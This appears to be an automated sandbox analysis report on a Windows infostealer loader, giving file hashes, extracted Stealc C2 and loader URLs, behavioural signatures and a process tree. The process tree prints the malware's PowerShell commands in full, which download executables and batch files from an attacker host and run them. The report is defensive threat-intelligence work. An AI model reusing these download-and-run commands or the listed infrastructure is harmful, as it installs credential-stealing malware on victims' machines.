Analysis
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max time kernel
195s -
max time network
297s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
06-05-2024 22:48
Static task
static1
Behavioral task
behavioral1
Sample
7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Resource
win7-20240221-en
General
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Target
7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
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Size
49KB
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MD5
705685a8deace858e7fc849471c045f3
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SHA1
10132365b465a6f231c8e292f462c2d005b4f9b0
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SHA256
7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9
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SHA512
b9dd7d5ca384ff4ad053d5f01d721f1180b1028e40c96cd94e04f2b2965e2f4be6cf4d2595f67c3e62039320b517e32200ffec165a9c544344d666732a57c56d
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpyFI+Plt:Xfi3k+oWDBDh1duFpXWlt
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/528-204-0x0000026FE5C50000-0x0000026FE9484000-memory.dmp family_zgrat_v1 behavioral2/memory/528-205-0x0000026FEBDB0000-0x0000026FEBEBA000-memory.dmp family_zgrat_v1 behavioral2/memory/528-209-0x0000026FEB990000-0x0000026FEB9B4000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 4 IoCs
flow pid Process 16 2280 powershell.exe 18 1744 powershell.exe 19 1744 powershell.exe 22 308 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 4520 i1.exe 4204 u3hk.0.exe 1232 u3hk.1.exe -
Loads dropped DLL 3 IoCs
pid Process 1608 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 4204 u3hk.0.exe 4204 u3hk.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 2280 powershell.exe 1744 powershell.exe 308 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3hk.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3hk.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u3hk.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u3hk.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u3hk.0.exe -
Suspicious behavior: EnumeratesProcesses 28 IoCs
pid Process 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 1744 powershell.exe 1744 powershell.exe 1744 powershell.exe 308 powershell.exe 308 powershell.exe 308 powershell.exe 4204 u3hk.0.exe 4204 u3hk.0.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 4204 u3hk.0.exe 4204 u3hk.0.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2280 powershell.exe Token: SeDebugPrivilege 1744 powershell.exe Token: SeDebugPrivilege 308 powershell.exe Token: SeDebugPrivilege 528 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe 1232 u3hk.1.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1608 wrote to memory of 164 1608 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 73 PID 1608 wrote to memory of 164 1608 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 73 PID 1608 wrote to memory of 164 1608 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe 73 PID 164 wrote to memory of 2280 164 cmd.exe 75 PID 164 wrote to memory of 2280 164 cmd.exe 75 PID 164 wrote to memory of 2280 164 cmd.exe 75 PID 164 wrote to memory of 1744 164 cmd.exe 76 PID 164 wrote to memory of 1744 164 cmd.exe 76 PID 164 wrote to memory of 1744 164 cmd.exe 76 PID 164 wrote to memory of 4520 164 cmd.exe 77 PID 164 wrote to memory of 4520 164 cmd.exe 77 PID 164 wrote to memory of 4520 164 cmd.exe 77 PID 164 wrote to memory of 308 164 cmd.exe 78 PID 164 wrote to memory of 308 164 cmd.exe 78 PID 164 wrote to memory of 308 164 cmd.exe 78 PID 164 wrote to memory of 2024 164 cmd.exe 79 PID 164 wrote to memory of 2024 164 cmd.exe 79 PID 164 wrote to memory of 2024 164 cmd.exe 79 PID 4520 wrote to memory of 4204 4520 i1.exe 81 PID 4520 wrote to memory of 4204 4520 i1.exe 81 PID 4520 wrote to memory of 4204 4520 i1.exe 81 PID 4520 wrote to memory of 1232 4520 i1.exe 83 PID 4520 wrote to memory of 1232 4520 i1.exe 83 PID 4520 wrote to memory of 1232 4520 i1.exe 83 PID 1232 wrote to memory of 528 1232 u3hk.1.exe 85 PID 1232 wrote to memory of 528 1232 u3hk.1.exe 85
Processes
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C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsb706E.tmp\lood.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:164 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2280
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4520 -
C:\Users\Admin\AppData\Local\Temp\u3hk.0.exe"C:\Users\Admin\AppData\Local\Temp\u3hk.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4204
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C:\Users\Admin\AppData\Local\Temp\u3hk.1.exe"C:\Users\Admin\AppData\Local\Temp\u3hk.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:528
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:308
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K i2.bat3⤵PID:2024
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
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Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
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Filesize
16KB
MD576f3e1b0dc707cfc0dc76b3890df2d55
SHA1f5878b9c3b57bdb32c255bf533a46c1a049f7383
SHA256b3026bdd907a3a1e5494a30a88f483c114368b59770fbca68e0f0aae397cf4cc
SHA5128407cbe289c94d9189d4d54541ed012e3615a2000e859b2df483dc5370c85427bacfa8f6b4f32d98b2a81505aab1663c1e8bffbcb62b283d6cd01b6047ebc896
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Filesize
16KB
MD5e6d367055b833d464901274ffcd251d2
SHA100acf6b1a702c36a75f6cd209b040bed2f0639ec
SHA2560358af000a3431e207938358cdc405565c06a6c315f8c05aa98d969f1fbc3504
SHA5122e401c3697efd0de7e6ac45ef25081de2fa302369daa100f5cb1d8d15f0b70d9af21f5777c6ec5df76c6725d9a3a6ac6410d5f447124b07079a75edd0ea609f2
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
423KB
MD55b82c33ae65525d14793909ec833f42f
SHA137d51bb30d2351213f492fb6622a627230f6b4b3
SHA2566f5fa0aa57d4db23a970f02f8880ce42550cbe5b6f9122122547c7324d3ef2ef
SHA5127822af9ec5be6d0be42726d67372de8295e4b9b1b2e069d43552b7d1f698b8a6dd72393294fe99709d7fc9a30389b1cf735fbb41a7c7ee1b4a5a58b25b7d7099
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Filesize
3KB
MD5b73518b56c4cdba6cdbd885d801a55d4
SHA127b42ce9830ef8ef4e08556389eb5885437436f8
SHA2561f0539d9e5e07f21580ab895402f8c413ba1bdaf87bedbd4c13bf2f833997ecc
SHA5128a89dc636967d34c6ff50a9119b45c51b3c8dadbe8ab98f76bec1a812c5dbff83a37b5f573b3093808c31d0093eab0475067adf31d48e0ba6083b4f1be0cb846
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Filesize
556B
MD51d5830e49fb8ad21e3c1e3333b819e7f
SHA1ee70e4b9c36d0bbcefce139bac51abadbd985197
SHA2568e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80
SHA5121b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb
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Filesize
282KB
MD5f72e01dfb65e6409cb0fc611e466e9d5
SHA1e3d9f9d5e531ea1537bbecbf8064c5772a3c4a26
SHA2567eec5c68ccc964cae08684c73b65a0427623454286b253b4ee4453dc1aa93bbf
SHA5127f47b5e7d997d923ca3d2a481bd8754b01c444c3be284b01e8577e58632bf1b69db87927e57079999e9ffc4dc1d50c45b68a5ce3b4ad58bdcf55d48acb9a87c1
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d